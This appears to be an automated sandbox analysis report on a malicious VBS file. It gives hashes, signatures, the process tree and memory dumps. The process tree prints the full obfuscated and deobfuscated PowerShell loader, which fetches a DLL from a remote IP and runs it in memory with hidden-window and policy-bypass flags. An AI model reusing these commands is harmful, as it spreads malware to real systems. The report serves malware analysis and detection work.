Analysis

  • max time kernel
    38s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    01/09/2022, 19:12

General

  • Target

    7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs

  • Size

    205KB

  • MD5

    55f65c5be5331616022acfa14b13cf0d

  • SHA1

    5715298639b8fa40e9621a9a1e5f4e12feb801ab

  • SHA256

    7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab

  • SHA512

    eaa7b7cea085d6703ad604cef958426b05da22930e451f65676b0f57631e0c7328ec089b8480debc41c2ecefddd8a7e173c4f9acce5baea72476fa983f934153

  • SSDEEP

    96:W6Ww7isRFEDD7174KWOktsKFSG4qYk/uU95coQ18HE:l/FEDHxIBKoTjcX18k

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBRAFcARQBSAFQAWQAvAEMA⌚⌚⌚gB⌚⌚⌚AFoALwBEAGwAbABmADMALgB0AHgAdAAnACkAKQA7AFsA⌚⌚⌚wB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAHgASwB2AEsAawB1AE4AWgAuAF⌚⌚⌚ARwBsAHkAbQB6AF⌚⌚⌚AZwAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcAVQBEAHMA⌚⌚⌚wBpAEQAYgBiACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMgBYAFoALwB3AG⌚⌚⌚AbgAvAHQAcwBlAHQALwA5ADQALgA5ADEALgAxADQAMgAuADEAOQAvAC8AOgBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwB3AG⌚⌚⌚AZAAzADcAMwBrAE4ASABpAGgAZgBvADkAMAA4ADMANwA4ACYAJAAhACIAIwAkAC⌚⌚⌚AJgB1AGgAaABqAGYAbgA3AHcAZAAnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\7566214bddcf5c73e06b9e5c7504212b8632a9d97fb28446dc9a2cf2feaf42ab.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/QWERTY/CRTZ/Dllf3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.2XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , 'wed373kNHihfo908378&$!"#$%&uhhjfn7wd' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:856

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          b72302410df776ef904e98ab14a38564

          SHA1

          214976c691d0d2cfd9d95b96ec81c9f0cf5999c7

          SHA256

          c8d92034706bf1c085908967c23bc4ee67482129546a76fab4cda75d3756cc94

          SHA512

          802f237d68c2b67c529d3a455c8dad409c66f16b50d9b6b0d31195b131828f719fe1bb8bfb5dee730561ae687e83ad7cfba29c493b883b91c0764c620a9d65c3

        • memory/856-68-0x0000000002524000-0x0000000002527000-memory.dmp

          Filesize

          12KB

        • memory/856-67-0x000000000252B000-0x000000000254A000-memory.dmp

          Filesize

          124KB

        • memory/856-69-0x000000000252B000-0x000000000254A000-memory.dmp

          Filesize

          124KB

        • memory/856-64-0x000007FEF3930000-0x000007FEF448D000-memory.dmp

          Filesize

          11.4MB

        • memory/856-66-0x0000000002524000-0x0000000002527000-memory.dmp

          Filesize

          12KB

        • memory/856-63-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp

          Filesize

          10.1MB

        • memory/1132-54-0x000007FEFB8D1000-0x000007FEFB8D3000-memory.dmp

          Filesize

          8KB

        • memory/1672-65-0x00000000024EB000-0x000000000250A000-memory.dmp

          Filesize

          124KB

        • memory/1672-57-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp

          Filesize

          10.1MB

        • memory/1672-58-0x000007FEF3930000-0x000007FEF448D000-memory.dmp

          Filesize

          11.4MB

        • memory/1672-59-0x00000000024E4000-0x00000000024E7000-memory.dmp

          Filesize

          12KB

        • memory/1672-70-0x00000000024E4000-0x00000000024E7000-memory.dmp

          Filesize

          12KB

        • memory/1672-71-0x00000000024EB000-0x000000000250A000-memory.dmp

          Filesize

          124KB